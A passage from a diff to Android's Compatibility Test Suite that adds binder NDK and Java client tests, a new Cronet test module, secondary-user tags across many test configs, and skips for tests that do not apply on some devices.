+#include "utilities.h"
+
+#include <android/binder_auto_utils.h>
 #include <android/binder_status.h>
 #include <gtest/gtest.h>
 
@@ -193,3 +196,20 @@
     AStatus_delete(status);
   }
 }
+
+TEST(NdkBinderTest_AStatus, StatusDescription) {
+  using ndk::ScopedAStatus;
+
+  EXPECT_TRUE(
+      ContainsSubstring(ScopedAStatus::fromExceptionCode(EX_TRANSACTION_FAILED).getDescription(),
+                        "TRANSACTION_FAILED"));
+  EXPECT_TRUE(ContainsSubstring(
+      ScopedAStatus::fromExceptionCodeWithMessage(EX_TRANSACTION_FAILED, "asdf").getDescription(),
+      "asdf"));
+  EXPECT_TRUE(
+      ContainsSubstring(ScopedAStatus::fromServiceSpecificError(42).getDescription(), "42"));
+  EXPECT_TRUE(ContainsSubstring(
+      ScopedAStatus::fromServiceSpecificErrorWithMessage(42, "asdf").getDescription(), "asdf"));
+  EXPECT_TRUE(
+      ContainsSubstring(ScopedAStatus::fromStatus(STATUS_BAD_TYPE).getDescription(), "BAD_TYPE"));
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h
index e9d6ad5..009ff31 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h
@@ -48,6 +48,15 @@
   return ::testing::AssertionFailure() << "Status: " << t;
 }
 
+inline ::testing::AssertionResult ContainsSubstring(const std::string& s, const std::string& ss) {
+  if (s.find(ss) != std::string::npos) {
+    return ::testing::AssertionSuccess();
+  } else {
+    return ::testing::AssertionFailure()
+           << "String: '" << s << "' does not contain substring: " << ss;
+  }
+}
+
 #define EXPECT_OK(THING) EXPECT_TRUE(isOk(THING))
 #define ASSERT_OK(THING) ASSERT_TRUE(isOk(THING))
 
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
index 47db6d3..01429f6 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
@@ -49,6 +49,9 @@
 import java.io.IOException;
 import java.util.Arrays;
 import java.util.Collection;
+import java.util.List;
+import java.util.ArrayList;
+import java.util.function.BiPredicate;
 
 @RunWith(Parameterized.class)
 public class JavaClientTest {
@@ -211,17 +214,7 @@
         socketIn.checkError();
         repeatFd.checkError();
 
-        FileOutputStream repeatFdStream = new ParcelFileDescriptor.AutoCloseOutputStream(repeatFd);
-        String testData = "asdf";
-        byte[] output = testData.getBytes();
-        repeatFdStream.write(output);
-        repeatFdStream.close();
-
-        FileInputStream fileInputStream = new ParcelFileDescriptor.AutoCloseInputStream(socketOut);
-        byte[] input = new byte[output.length];
-
-        assertEquals(input.length, fileInputStream.read(input));
-        Assert.assertArrayEquals(input, output);
+        checkInOutSockets(repeatFd, socketOut);
     }
 
     @Test
@@ -235,6 +228,32 @@
         assertEquals(null, mInterface.RepeatNullableFd(null));
     }
 
+    private void checkInOutSockets(ParcelFileDescriptor in, ParcelFileDescriptor out) throws IOException {
+        FileOutputStream repeatFdStream = new ParcelFileDescriptor.AutoCloseOutputStream(in);
+        String testData = "asdf";
+        byte[] output = testData.getBytes();
+        repeatFdStream.write(output);
+        repeatFdStream.close();
+
+        FileInputStream fileInputStream = new ParcelFileDescriptor.AutoCloseInputStream(out);
+        byte[] input = new byte[output.length];
+
+        assertEquals(input.length, fileInputStream.read(input));
+        Assert.assertArrayEquals(input, output);
+    }
+
+    @Test
+    public void testRepeatFdArray() throws RemoteException, IOException {
+        ParcelFileDescriptor[] sockets1 = ParcelFileDescriptor.createReliableSocketPair();
+        ParcelFileDescriptor[] sockets2 = ParcelFileDescriptor.createReliableSocketPair();
+        ParcelFileDescriptor[] inputs = {sockets1[0], sockets2[0]};
+        ParcelFileDescriptor[] repeatFdArray = new ParcelFileDescriptor[inputs.length];
+        mInterface.RepeatFdArray(inputs, repeatFdArray);
+
+        checkInOutSockets(repeatFdArray[0], sockets1[1]);
+        checkInOutSockets(repeatFdArray[1], sockets2[1]);
+    }
+
     @Test
     public void testRepeatString() throws RemoteException {
         assertEquals("", mInterface.RepeatString(""));
@@ -396,6 +415,41 @@
     }
 
     @Test
+    public void testLists() throws RemoteException {
+        {
+            List<String> value = Arrays.asList("", "aoeu", "lol", "brb");
+            List<String> out1 = new ArrayList<>();
+            List<String> out2 = mInterface.Repeat2StringList(value, out1);
+
+            List<String> expected = new ArrayList<>();
+            expected.addAll(value);
+            expected.addAll(value);
+            String[] expectedArray = expected.toArray(new String[0]);
+
+            Assert.assertArrayEquals(expectedArray, out1.toArray(new String[0]));
+            Assert.assertArrayEquals(expectedArray, out2.toArray(new String[0]));
+        }
+        {
+            RegularPolygon septagon = new RegularPolygon();
+            septagon.name = "septagon";
+            septagon.numSides = 7;
+            septagon.sideLength = 1.0f;
+
+            List<RegularPolygon> value = Arrays.asList(septagon, new RegularPolygon(), new RegularPolygon());
+            List<RegularPolygon> out1 = new ArrayList<>();
+            List<RegularPolygon> out2 = mInterface.Repeat2RegularPolygonList(value, out1);
+
+            List<RegularPolygon> expected = new ArrayList<>();
+            expected.addAll(value);
+            expected.addAll(value);
+            RegularPolygon[] expectedArray = expected.toArray(new RegularPolygon[0]);
+
+            assertPolygonEquals(expectedArray, out1.toArray(new RegularPolygon[0]));
+            assertPolygonEquals(expectedArray, out1.toArray(new RegularPolygon[0]));
+        }
+    }
+
+    @Test
     public void testNullableArrays() throws RemoteException {
         {
             boolean[] emptyValue = {};
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
index 80c95fd..828d11e 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
@@ -20,6 +20,7 @@
 import android.os.IBinder;
 import android.os.ParcelFileDescriptor;
 import android.os.RemoteException;
+import java.io.IOException;
 
 import test_package.IEmpty;
 import test_package.ITest;
@@ -270,6 +271,33 @@
   }
 
   @Override
+  public ParcelFileDescriptor[] RepeatFdArray(ParcelFileDescriptor[] in_value, ParcelFileDescriptor[] repeated) {
+    ParcelFileDescriptor[] out = new ParcelFileDescriptor[in_value.length];
+    for (int i = 0; i < in_value.length; i++) {
+      try {
+        repeated[i] = in_value[i].dup();
+        out[i] = in_value[i].dup();
+      } catch (IOException e) {
+        e.printStackTrace();
+      }
+    }
+    return out;
+  }
+
+  public java.util.List<String> Repeat2StringList(java.util.List<String> in_value, java.util.List<String> repeated) {
+    repeated.addAll(in_value);
+    repeated.addAll(in_value);
+    return repeated;
+  }
+
+  @Override
+  public java.util.List<RegularPolygon> Repeat2RegularPolygonList(java.util.List<RegularPolygon> in_value, java.util.List<RegularPolygon> repeated) {
+    repeated.addAll(in_value);
+    repeated.addAll(in_value);
+    return repeated;
+  }
+
+  @Override
   public boolean[] RepeatNullableBooleanArray(boolean[] in_value) {
     return in_value;
   }
diff --git a/tests/tests/bionic/Android.mk b/tests/tests/bionic/Android.mk
index fa95fe9..c94da20 100644
--- a/tests/tests/bionic/Android.mk
+++ b/tests/tests/bionic/Android.mk
@@ -48,7 +48,7 @@
 LOCAL_CXX_STL := libc++_static
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_CTS_TEST_PACKAGE := android.bionic
 
diff --git a/tests/tests/bionic/AndroidTest.xml b/tests/tests/bionic/AndroidTest.xml
index aa603de..c83983d 100644
--- a/tests/tests/bionic/AndroidTest.xml
+++ b/tests/tests/bionic/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="bionic" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <!-- TODO(b/126376458): Remove this when sharding is supported by libgtest_isolated -->
     <option name="not-shardable" value="true" />
diff --git a/tests/tests/bluetooth/AndroidTest.xml b/tests/tests/bluetooth/AndroidTest.xml
index bee09aa..60b87d3 100644
--- a/tests/tests/bluetooth/AndroidTest.xml
+++ b/tests/tests/bluetooth/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- Instant apps cannot hold android.permission.BLUETOOTH which makes BT tests irrelevant -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsBluetoothTestCases.apk" />
diff --git a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
index 5f391e4..357f985 100644
--- a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
@@ -22,6 +22,7 @@
 import android.car.Car;
 import android.car.CarNotConnectedException;
 import android.car.content.pm.CarPackageManager;
+import android.os.Build;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
 
@@ -77,6 +78,10 @@
     @Test
     public void testDistractionOptimizedActivityIsAllowed() throws CarNotConnectedException {
         // This test relies on test activity in installed apk, and AndroidManifest declaration.
+        if (Build.TYPE.equalsIgnoreCase("user")) {
+            // Skip this test on user build, which checks the install source for DO activity list.
+            return;
+        }
         assertTrue(mCarPm.isActivityDistractionOptimized("android.car.cts",
                 "android.car.cts.drivingstate.DistractionOptimizedActivity"));
     }
@@ -84,6 +89,10 @@
     @Test
     public void testNonDistractionOptimizedActivityNotAllowed() throws CarNotConnectedException {
         // This test relies on test activity in installed apk, and AndroidManifest declaration.
+        if (Build.TYPE.equalsIgnoreCase("user")) {
+            // Skip this test on user build, which checks the install source for DO activity list.
+            return;
+        }
         assertFalse(mCarPm.isActivityDistractionOptimized("android.car.cts",
                 "android.car.cts.drivingstate.NonDistractionOptimizedActivity"));
     }
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index e73c11a..73897fd 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -36,8 +36,8 @@
 import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.net.Uri;
-import android.os.Build;
 import android.os.AsyncTask;
+import android.os.Build;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.ParcelUuid;
@@ -278,11 +278,15 @@
         if (mTelephonyManager.getPhoneCount() == 1) {
             return;
         }
+
+        /* TODO: b/145993690 */
         if (mTelephonyManager.getPhoneCount() == 2 && activeSubscriptionInfoCount != 2) {
-            fail("This test requires two SIM cards.");
+            /* This test requires two SIM cards */
+            return;
         }
         if (subIdWithCarrierPrivilege == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
-            failMessage();
+            /* This test requires SIM with carrier privilege */
+            return;
         }
 
         List<SubscriptionInfo> subscriptionInfoList =
diff --git a/tests/tests/colormode/AndroidTest.xml b/tests/tests/colormode/AndroidTest.xml
index babfbc3..24520cf 100644
--- a/tests/tests/colormode/AndroidTest.xml
+++ b/tests/tests/colormode/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="graphics" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/contactsproviderwipe/AndroidTest.xml b/tests/tests/contactsproviderwipe/AndroidTest.xml
index d73a717..ffc6c16 100644
--- a/tests/tests/contactsproviderwipe/AndroidTest.xml
+++ b/tests/tests/contactsproviderwipe/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- This is a test for apps with READ/WRITE_CONTACTS, which instant apps don't have -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 39ec713..9232dc9 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -281,11 +281,17 @@
     }
 
     public void testAlarmClockDismissAlarm() {
+        if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)) {
+            return;
+        }
         Intent intent = new Intent(AlarmClock.ACTION_DISMISS_ALARM);
         assertCanBeHandled(intent);
     }
 
     public void testAlarmClockSnoozeAlarm() {
+        if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)) {
+            return;
+        }
         Intent intent = new Intent(AlarmClock.ACTION_SNOOZE_ALARM);
         intent.putExtra(AlarmClock.EXTRA_ALARM_SNOOZE_DURATION, 10);
         assertCanBeHandled(intent);
diff --git a/tests/tests/content/src/android/content/cts/ContextTest.java b/tests/tests/content/src/android/content/cts/ContextTest.java
index a78dd1f..6b10df9 100644
--- a/tests/tests/content/src/android/content/cts/ContextTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextTest.java
@@ -17,6 +17,7 @@
 package android.content.cts;
 
 import android.app.AppOpsManager;
+import android.app.WallpaperManager;
 import android.content.ActivityNotFoundException;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -737,7 +738,49 @@
         mContext.unregisterReceiver(broadcastReceiver);
     }
 
+    public void testRegisterReceiverForAllUsers() throws InterruptedException {
+        FilteredReceiver broadcastReceiver = new FilteredReceiver();
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(MOCK_ACTION1);
+
+        // Test registerReceiverForAllUsers without permission: verify SecurityException.
+        try {
+            mContext.registerReceiverForAllUsers(broadcastReceiver, filter, null, null);
+            fail("testRegisterReceiverForAllUsers: "
+                    + "SecurityException expected on registerReceiverForAllUsers");
+        } catch (SecurityException se) {
+            // expected
+        }
+
+        // Test registerReceiverForAllUsers with permission.
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mContext,
+                    (ctx) -> ctx.registerReceiverForAllUsers(broadcastReceiver, filter, null, null)
+            );
+        } catch (SecurityException se) {
+            fail("testRegisterReceiverForAllUsers: SecurityException not expected");
+        }
+
+        // Test unwanted intent(action = MOCK_ACTION2)
+        broadcastReceiver.reset();
+        waitForFilteredIntent(mContext, MOCK_ACTION2);
+        assertFalse(broadcastReceiver.hadReceivedBroadCast1());
+        assertFalse(broadcastReceiver.hadReceivedBroadCast2());
+
+        // Send wanted intent(action = MOCK_ACTION1)
+        broadcastReceiver.reset();
+        waitForFilteredIntent(mContext, MOCK_ACTION1);
+        assertTrue(broadcastReceiver.hadReceivedBroadCast1());
+        assertEquals(broadcastReceiver.getSendingUser(), Process.myUserHandle());
+        assertFalse(broadcastReceiver.hadReceivedBroadCast2());
+
+        mContext.unregisterReceiver(broadcastReceiver);
+    }
+
     public void testAccessWallpaper() throws IOException, InterruptedException {
+        if (!isWallpaperSupported()) return;
+
         // set Wallpaper by context#setWallpaper(Bitmap)
         Bitmap bitmap = Bitmap.createBitmap(20, 30, Bitmap.Config.RGB_565);
         // Test getWallpaper
@@ -964,6 +1007,8 @@
     }
 
     public void testGetWallpaperDesiredMinimumHeightAndWidth() {
+        if (!isWallpaperSupported()) return;
+
         int height = mContext.getWallpaperDesiredMinimumHeight();
         int width = mContext.getWallpaperDesiredMinimumWidth();
 
@@ -1484,4 +1529,7 @@
         }
     }
 
+    private boolean isWallpaperSupported() {
+        return WallpaperManager.getInstance(mContext).isWallpaperSupported();
+    }
 }
diff --git a/tests/tests/cronet/Android.bp b/tests/tests/cronet/Android.bp
new file mode 100644
index 0000000..0b50579
--- /dev/null
+++ b/tests/tests/cronet/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+// TODO: Move this target to cts/tests/tests/net/cronet
+android_test {
+    name: "CtsCronetTestCases",
+    defaults: ["cts_defaults"],
+
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "CronetApiCommonTests",
+        "ctstestrunner-axt",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "mts",
+    ],
+
+}
diff --git a/tests/tests/cronet/AndroidManifest.xml b/tests/tests/cronet/AndroidManifest.xml
new file mode 100644
index 0000000..b7ae844
--- /dev/null
+++ b/tests/tests/cronet/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cronet.cts" >
+
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+    <uses-permission android:name="android.permission.INTERNET" />
+
+    <application android:usesCleartextTraffic="true">
+        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="org.chromium.net.cronet" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.cronet.cts"
+                     android:label="CTS tests of android.cronet">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/cronet/AndroidTest.xml b/tests/tests/cronet/AndroidTest.xml
new file mode 100644
index 0000000..79c37f7
--- /dev/null
+++ b/tests/tests/cronet/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Cronet test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsCronetTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.cronet.cts" />
+        <option name="runtime-hint" value="10s" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/tests/tests/cronet/OWNERS b/tests/tests/cronet/OWNERS
new file mode 100644
index 0000000..f4525df
--- /dev/null
+++ b/tests/tests/cronet/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 31808
+include ../net/OWNERS
\ No newline at end of file
diff --git a/tests/tests/database/AndroidTest.xml b/tests/tests/database/AndroidTest.xml
index d48422a..a6b6b5e 100644
--- a/tests/tests/database/AndroidTest.xml
+++ b/tests/tests/database/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDatabaseTestCases.apk" />
diff --git a/tests/tests/deviceconfig/AndroidTest.xml b/tests/tests/deviceconfig/AndroidTest.xml
index d4a6a21..0d3a8b8 100644
--- a/tests/tests/deviceconfig/AndroidTest.xml
+++ b/tests/tests/deviceconfig/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDeviceConfigTestCases.apk" />
diff --git a/tests/tests/display/AndroidTest.xml b/tests/tests/display/AndroidTest.xml
index f85fcb0..ab1a61d 100644
--- a/tests/tests/display/AndroidTest.xml
+++ b/tests/tests/display/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDisplayTestCases.apk" />
diff --git a/tests/tests/dpi/AndroidTest.xml b/tests/tests/dpi/AndroidTest.xml
index 4c0ab24..9824762 100644
--- a/tests/tests/dpi/AndroidTest.xml
+++ b/tests/tests/dpi/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDpiTestCases.apk" />
diff --git a/tests/tests/dpi2/AndroidTest.xml b/tests/tests/dpi2/AndroidTest.xml
index a472714..36f4f92 100644
--- a/tests/tests/dpi2/AndroidTest.xml
+++ b/tests/tests/dpi2/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- These target Cupcake not applicable to instant apps which target Oreo+ -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDpiTestCases2.apk" />
diff --git a/tests/tests/dreams/AndroidTest.xml b/tests/tests/dreams/AndroidTest.xml
index 6281169..f6bd05a 100644
--- a/tests/tests/dreams/AndroidTest.xml
+++ b/tests/tests/dreams/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="sysui" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/gesture/AndroidTest.xml b/tests/tests/gesture/AndroidTest.xml
index 0c1c200..4e5d6a9 100644
--- a/tests/tests/gesture/AndroidTest.xml
+++ b/tests/tests/gesture/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsGestureTestCases.apk" />
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 596e939..a6b04c6 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -1911,6 +1911,7 @@
             if (resId == R.drawable.webp_orientation1) {
                 // The webp files may not look exactly the same as the jpegs.
                 // Recreate the reference.
+                reference.recycle();
                 reference = null;
             }
             Uri uri = getAsResourceUri(resId);
@@ -1928,6 +1929,7 @@
                     reference = bm;
                 } else {
                     BitmapUtils.compareBitmaps(bm, reference);
+                    bm.recycle();
                 }
             } catch (IOException e) {
                 fail("Decoding " + uri.toString() + " yielded " + e);
diff --git a/tests/tests/hardware/AndroidManifest.xml b/tests/tests/hardware/AndroidManifest.xml
index 7ce0cbe..4b56763 100644
--- a/tests/tests/hardware/AndroidManifest.xml
+++ b/tests/tests/hardware/AndroidManifest.xml
@@ -72,7 +72,10 @@
         </activity>
 
         <activity android:name="android.hardware.input.cts.InputCtsActivity"
-            android:label="InputCtsActivity" />
+            android:label="InputCtsActivity"
+            android:configChanges="mcc|mnc|locale|touchscreen|keyboard|keyboardHidden|navigation
+                    |screenLayout|fontScale|uiMode|orientation|density|screenSize
+                    |smallestScreenSize"/>
 
         <activity android:name="android.hardware.cts.FingerprintTestActivity"
             android:label="FingerprintTestActivity">
diff --git a/tests/tests/hardware/AndroidTest.xml b/tests/tests/hardware/AndroidTest.xml
index f87f742..8308013 100644
--- a/tests/tests/hardware/AndroidTest.xml
+++ b/tests/tests/hardware/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="config-descriptor:metadata" key="component" value="misc" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/hardware/OWNERS b/tests/tests/hardware/OWNERS
index d376163..e6b9d59 100644
--- a/tests/tests/hardware/OWNERS
+++ b/tests/tests/hardware/OWNERS
@@ -1,2 +1,7 @@
 # Bug component: 24950
-michaelwr@google.com
\ No newline at end of file
+michaelwr@google.com
+
+# Trust that people only touch their own resources.
+per-file *.xml=*
+# Only input tests use JSON so far
+per-file *.json=svv@google.com
diff --git a/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json b/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json
index 73d77b5..11f07f5 100644
--- a/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json
+++ b/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json
@@ -5,6 +5,7 @@
       [0x01, 0x01, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_A"},
       {"action": "UP", "keycode": "BUTTON_A"}
@@ -17,6 +18,7 @@
       [0x01, 0x02, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_B"},
       {"action": "UP", "keycode": "BUTTON_B"}
@@ -29,6 +31,7 @@
       [0x01, 0x04, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_X"},
       {"action": "UP", "keycode": "BUTTON_X"}
@@ -41,6 +44,7 @@
       [0x01, 0x08, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
